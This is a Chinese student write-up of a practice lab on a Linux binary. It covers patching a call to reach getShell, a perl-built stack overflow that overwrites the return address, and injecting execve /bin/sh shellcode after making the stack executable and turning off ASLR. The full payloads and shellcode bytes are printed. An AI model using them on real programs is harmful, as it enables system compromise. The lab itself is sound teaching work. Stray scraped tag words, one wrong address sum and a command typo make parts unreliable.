本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。vim
基本Linux操做,例如反彙編指令、編輯器指令等,具體指令見實驗過程windows
彙編語言基礎sass
NOP彙編指令的機器碼是「90」 JNE彙編指令的機器碼是「75」 JE 彙編指令的機器碼是「74」 JMP彙編指令的機器碼是「eb」 CMP彙編指令的機器碼是「39
基本gdb單步調試能力安全
將pwn1複製爲pwn0做爲備份,運行pwn1,發現pwn1的功能是打印輸入的內容dom
使用objdump -d pwn1
將pwn1反彙編 ,查看相關函數編輯器
排除系統調用,尋找關鍵函數main
、foo
、getshell
函數
根據反彙編代碼學習
call
對應的跳轉指令爲:e8+偏移地址
,如圖中所示爲e8 d7 ff ff ff
,本來eip所對應地址爲:0x80484ba
,最終指令地址爲eip+偏移地址
,即函數foo
的首地址8048491
,經過計算器能夠驗證正確性
getshell
的首地址爲0x804847d
,計算偏移地址爲0x804847d-0x80484ba
,得0xffffffc3
,因爲大小端存儲格式,更改指令應該爲e8 c3 ff ff ff
foo
基地址-0xffffffd7
=getshell
基地址-所求跳轉偏移地址,答案同樣計算出地址後,對程序跳起色器指令進行修改,使其再也不跳轉到foo
,而是直接跳轉至函數getShell
利用萬能的vim
打開pwn1文件,發現滿屏亂碼,緣由是vim默認顯示ASCII碼,esc
切換到命令模式輸入命令:%!xxd
將其轉換爲16進制顯示(windows環境推薦winhex)
搜索須要修改的部分,便於修改,搜索命令/+搜索內容
,輸入i
切換到輸入模式,將d7 ff ff ff
修改成c3 ff ff ff
再次切換至命令模式,利用命令:%!xdd -r
,使文件從十六進制轉換回ASCII碼,國際慣例:wq
保存並退出,爲了驗證咱們是否修改正確,再次利用objdump -d pwn1
反彙編查看代碼,確認修改正確
確認修改地址成功,運行pwn1,驗證是否可以跳轉至getshell
函數,發現成功獲得shell
從備份pwn0複製pwn2進行實驗,objdump -d pwn2
查看反彙編代碼,計算緩衝區大小
根據上圖的代碼,咱們猜想緩衝區大小爲0x1c
,即28字節大小,加上ebp
的四個字節共爲32字節,咱們運行程序進行輸入,分別爲36字節、32字節、31字節、28字節、27字節驗證本身的想法
輸入36字節的輸入111111112222222233333333444444445555
,gdb調試,i r
查看寄存器的值,eip
中0x35353535
正是5555
的ASCII值,可見返回地址被5555
覆蓋,將5555
改爲getshell
地址0x0804847d
便可
可是輸入參數需爲ASCII碼,地址須要與填充的字符串一塊兒,利用解釋型語法perl
構造後輸入,具體構造方法以下:
將所需字符串+地址,利用perl
重定向至文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF1
查看文件cat BOF1
或xxd BOF1
可查看是否重定向成功,成功後利用管道輸入參數至pwn2(cat BOF1; cat ) | ./pwn2
,成功得到shell
ShellCode:一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode
前期環境準備工做
備份pwn0爲pwn3做爲實驗對象
輸入指令apt-get install execstack
安裝execstack
設置堆棧可執行,不然就算注入成功也沒法執行。
execstack -s pwn3 //設置堆棧可執行 execstack -q pwn3 //查詢文件的堆棧是否可執行
關閉地址隨機化:現代操做系統地址隨機化致使緩衝區溢出困難,下次能夠嘗試不關閉隨機化的緩衝區溢出攻擊。
more /proc/sys/kernel/randomize_va_space //查看隨機化是否關閉 'echo "0" > /proc/sys/kernel/randomize_va_space //關閉隨機化 more /proc/sys/kernel/randomize_va_space //查看隨機化是否關閉
(其中「2」爲開啓,「0」爲關閉)
運行pwn3,構造shellcode注入,gdb單步調試,確認返回地址的位置
構造shellcode,有以下三種構造方式,實驗指導中所謂的「坑」即方法一,在緩衝區足夠大時是適用的,因爲本實驗緩衝區只有32字節,並不適用,咱們選擇方法二:RNS溢出模式
根據shellcode構造方法進行構造,繼續利用perl
語句重定向後注入,注入原理以下:
參考實驗指導的shellcode,假設返回地址1234進行構造:perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode1
,再利用(cat input_shellcode;cat) | ./pwn3
進行注入
打開第二個terminal,利用gdb進行調試,首先找到對應進程才能進行調試,輸入ps -ef | grep pwn3
找到對應進程,進程號爲6719
gdb命令attach+進程號
進行單步調試,disassemble+函數名
查看對應函數指令對應地址,其中返回值ret是咱們關注的重點
b+指針
設置ret的斷點,c
爲函數繼續執行的意思,注意必定要在注入的terminal按下回車,不然會出錯,總結中將提到這一錯誤;利用i r esp
查看esp的地址,x/16x+esp地址
查看esp中的內容的十六進制,能夠清晰看到esp最後爲0x01020304
正是咱們假定實驗的數值。
確認返回地址無誤後,咱們將假定的返回地址地址1234換爲shellcode
函數的真正地址,即0xffffd2ec+0x4=0xffffdef0
,重定向爲input_shellcode2
注入shellcode,成功得到shell
continue
時,沒有去另外一個終端按下回車而是在當前終端按下回車,最終的esp並不在ret,通過查看地址的數據,發現差了四個字節,應該是多了回車致使多執行了一條命令,使esp產生了變化。